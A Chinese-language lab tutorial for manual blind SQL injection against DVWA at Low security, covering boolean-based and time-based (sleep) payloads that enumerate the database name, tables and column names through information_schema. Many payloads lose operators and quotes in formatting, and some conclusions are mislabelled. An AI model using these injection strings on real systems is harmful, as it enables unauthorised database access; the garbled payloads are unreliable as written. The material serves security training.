DVWA手动盲注SQL实验(详细教程)
一、实验原理基于布尔盲注就是进行SQL注入时根据页面返回的True或者是False来得到数据库中的相关信息因此可以通过是否返回页面来判断做为条件是的SQL语句的正确性从而实现盲注的目的。二、实验前置准备登录靶场使用默认账号admin、密码password登录DVWA。切换安全等级登录后点击顶部导航栏的“DVWA Security”在“Security Level”下拉菜单中选择“Low”点击“Submit”保存设置。登录DVWA后在左侧点击“SQL Injection(Blind)”进入实验页面。2.了解SQL盲注与普通SQL注入的主要区别页面不会直接显示数据库错误信息不会直接显示查询结果只能通过页面返回的真/假状态或响应时间差异来推断信息三、实验步骤及结果步骤一、判断是否存在注入注入是字符型还是数字型。输入1保存截图并分析结果。分析输入 1 时页面返回User ID exists in the database.说明 ID1 的记录存在这是正常的业务响应。但再输入单引号、双引号或者abcd之类的其它值保存截图并分析结果。分析输入 1单引号时页面返回User ID is MISSING from the database.与正常结果不同说明单引号破坏了原 SQL 语句的语法结构导致查询逻辑异常输入的内容被直接拼接进 SQL 语句存在SQL注入漏洞继续输入1 and 11 #保存截图并分析结果。分析#注释掉了后续SQLand 11恒真若页面正常说明单引号闭合了字符串且and逻辑被执行强烈提示存在字符型SQL注入漏洞。最后输入1 and 12 #保存截图并分析结果。分析and 12恒假若页面返回空或无数据与11时形成“真/假”状态差异最终确认存在基于布尔逻辑的字符型SQL注入漏洞。步骤二、猜解当前数据库名。想要猜解数据库名首先要猜解数据库名的长度然后挨个猜解字符。1.猜解数据库名的长度输入1 and length(database())1/2/3/4....# 保存截图并分析结果。预期结果当N等于数据库名实际长度例如4时页面显示正常True当N为其他值时页面无结果False。 分析通过遍历N的值找到使页面返回“真”状态的N即确定了数据库名的字符长度。2.采用二分法猜解数据库名首先猜解首字母再依次猜解其它字母。猜解时最好要先判断字母是大写字母、小写字母、数字或下划线然后再逐渐进行猜解。几个典型的字符的ASCII码如下表字符ASCII码字符ASCII码A65Z90a97z122048957_95输入1 and ascii(substr(database(),1,1))97 # 保存截图并分析结果SQL语句逻辑分析substr(database(),1,1)取出数据库名的第1个字符ascii(...)将该字符转换为 ASCII 码97判断该 ASCII 码是否大于 97小写字母a的 ASCII 码页面反馈显示 User ID exists in the database.页面正常返回结论分析数据库名第 1 个字符的 ASCII 码97说明该字符是小写字母b~z、数字或下划线但数字 / 下划线 ASCII 码均小于 97因此可确定为小写字母再输入1 and ascii(substr(database(),1,1))122 # 保存截图并分析结果。SQL语句逻辑122判断该字符的 ASCII 码是否小于 122小写字母z的 ASCII 码页面反馈显示 User ID exists in the database.页面正常返回结论分析数据库名第 1 个字符的 ASCII 码122说明该字符是小写字母a~y。3此时可采用二分进行法查找即根据显示情况依次输入1 and ascii(substr(database(),1,1))110 #逐次测试分析测试 110页面反馈User ID exists in the database.结论分析第 1 位字符的 ASCII 码 110即小于小写字母n1 and ascii(substr(database(),1,1))103 #测试 103页面反馈User ID exists in the database.结论第 1 位字符的 ASCII 码 103即小于小写字母g1 and ascii(substr(database(),1,1))100 #测试 100页面反馈User ID is MISSING from the database.结论第 1 位字符的 ASCII 码≥ 100即大于等于小写字母d分别保存截图并分析结果。4修改substr(databse(),1,1)的值依次改为1 and ascii(substr(database(),2,1))122 #分别保存截图并分析结果页面反馈User ID exists in the database.结论分析第 2 位字符的 ASCII 码 122说明该字符是小写字母a~y、数字或下划线。1 and ascii(substr(database(),3,1))122 #页面反馈User ID exists in the database.结论分析第 3 位字符的 ASCII 码 122说明该字符是小写字母a~y、数字或下划线。1 and ascii(substr(database(),4,1))122 #页面反馈User ID exists in the database.结论分析第 4 位字符的 ASCII 码 122说明该字符是小写字母a~y、数字或下划线。步骤三、猜解数据库中的表名。1.首先猜解数据库中表的数量输入1 and (select count(table_name) from information_schema.tables where table_schemadatabase() )1 #保存截图并分析结果。页面反馈User ID is MISSING from the database.结论分析当前数据库中的表数量≠ 1。输入1’and ( select count(table_name) from information_schema.tables where table_schemadatabase() )2 #保存截图并分析结果。页面反馈User ID exists in the database.结论分析当前数据库中的表数量 2。2.依次猜解表名的长度输入1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))1 #分析 limit 0,1只取出查询结果中的第一张表 length(...)计算该表名的长度 页面返回不同结果判断长度是否等于我们输入的数字User ID exists in the database. → 条件成立长度 NUser ID is MISSING from the database. → 条件不成立长度 ≠ N逐次测试分析测试长度 1页面反馈User ID is MISSING from the database.结论分析第一张表名长度≠ 1提交查看并依次将最后的数字1修改为2/3/4……测试长度 2页面反馈User ID is MISSING from the database.结论分析第一张表名长度≠ 2..依次测试到 9测试长度 9页面反馈User ID exists in the database.结论分析 第一张表名长度 9分别保存截图并分析结果。3.根据长度猜解表名输入1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))97 #逐次测试分析测试 97页面反馈User ID exists in the database.结论第 1 位字符的 ASCII 码97即大于小写字母a提交查看并依次将最后的“97”修改为“122”、“109”、“103”……测试 122页面反馈User ID exists in the database.结论第 1 位字符的 ASCII 码122即小于小写字母z测试 109页面反馈User ID exists in the database.结论第 1 位字符的 ASCII 码109即小于小写字母m测试 103页面反馈User ID is MISSING from the database.结论第 1 位字符的 ASCII 码≥103即大于等于小写字母g分别保存截图并分析结果。步骤四、猜解表中的字段名。1.猜解表中字段的数量输入1 and (select count(column_name) from information_schema.columns where table_nameusers and table_schemadvwa)1 #逐次测试分析测试 N 1页面反馈User ID is MISSING from the database.结论users表字段数 ≠ 1提交查看并依次将最后的数字1修改为2/3/4……测试N 2页面反馈User ID is MISSING from the database.结论users表字段数 ≠ 2..依次测试到 8测试 N 8页面反馈User ID exists in the database.结论users表字段数 82.猜解表中字段的长度输入1 and length(substr((select column_name from information_schema.columns where table_nameusers and table_schemadvwa limit 0,1),1))1 #原理分析 limit 0,1只取出查询结果中的第一个字段 length(...)计算该字段名的长度 页面返回 User ID exists in the database. → 条件成立长度 N 页面返回 User ID is MISSING from the database. → 条件不成立长度 ≠ N逐次测试分析测试长度 1页面反馈User ID is MISSING from the database.结论分析第一个字段名长度≠ 1提交查看并依次将最后的数字1修改为2/3/4……测试长度 2页面反馈User ID is MISSING from the database.结论分析第一个字段名长度≠ 2...依次测试到 7测试长度 7页面反馈User ID exists in the database.结论分析第一个字段名长度 7保存截图并分析结果。3.采用二分法猜解出所有字段名输入1 and ascii(substr((select column_name from information_schema.columns where table_nameusers and table_schemadvwa limit 0,1),1,1))97 #逐次测试分析测试 97页面反馈User ID exists in the database.结论分析第 1 位字符的 ASCII 码97即大于小写字母a提交查看并依次将最后的“97”修改为“122”、“110”……测试 122页面反馈User ID exists in the database.结论分析第 1 位字符的 ASCII 码122即小于小写字母z测试 110页面反馈User ID is MISSING from the database.结论分析第 1 位字符的 ASCII 码≥110即大于等于小写字母n分别保存截图并分析结果。步骤五、通过延时注入猜解当前数据库名。1.猜解数据名的长度1’ and if(length(database())1,sleep(5),1) #原理分析 若 length(database())N 成立 → 执行 sleep(5)页面延迟5秒后响应 若不成立 → 执行 1页面立即响应显示 User ID exists in the database.逐次测试分析测试 N1页面响应无延迟直接显示 User ID exists in the database.结论数据库名长度≠ 11’ and if(length(database())2,sleep(5),1) #测试 N2页面响应无延迟直接显示 User ID exists in the database.结论数据库名长度≠ 21’ and if(length(database())3,sleep(5),1) #测试 N3页面响应无延迟直接显示 User ID exists in the database.结论数据库名长度≠ 31’ and if(length(database())4,sleep(5),1) #测试 N4页面响应出现5秒延迟后才显示内容结论数据库名长度 4查看是否有延迟。✅ 综合结论当前数据库名长度为4个字符DVWA 默认数据库名 dvwa 长度恰好为 4与结果吻合。这是典型的时间盲注通过页面响应延迟间接判断查询条件的真假从而获取数据库结构信息。2. 用二分法猜测数据库名查看是否有延迟。依次类推直到获取数据库名称核心原理延时注入通过 sleep(5) 判断条件真假sql1 and if(条件, sleep(5), 1)#有明显延迟→ 条件成立无延迟→ 条件不成立1’ and if(ascii(substr(database(),1,1))97,sleep(5),1) # 明显延迟…逐次测试分析测试 97页面响应明显延迟结论第 1 位字符 ASCII 码97即大于小写字母a最终锁定 ASCII100 →字符 d1’ and if(ascii(substr(database(),1,1))100,sleep(5),1) # 没有延迟测试 100页面响应无延迟结论第 1 位字符 ASCII 码≥100即大于等于小写字母d1’ and if(ascii(substr(database(),1,1))100,sleep(5),1) # 没有延迟测试 100页面响应无延迟结论第 1 位字符 ASCII 码≤100即小于等于小写字母d猜解第 2位字符修改 substr 第二个参数为 21 and if(ascii(substr(database(),2,1))97,sleep(5),1)# -- 测试是否97重复二分法若 118 无延迟 → 说明 ≤118若 118 有延迟 → 说明 118最终锁定 ASCII118→字符 V猜解第 3位字符修改 substr 第二个参数为 31 and if(ascii(substr(database(),3,1))97,sleep(5),1)#二分法后锁定 ASCII119 →字符 w猜解第 4位字符修改 substr 第二个参数为 41 and if(ascii(substr(database(),4,1))97,sleep(5),1)#二分法后锁定 ASCII97 →字符 a第三步拼接结果将 4位字符拼接d v w a → dvwa得到完整数据库名。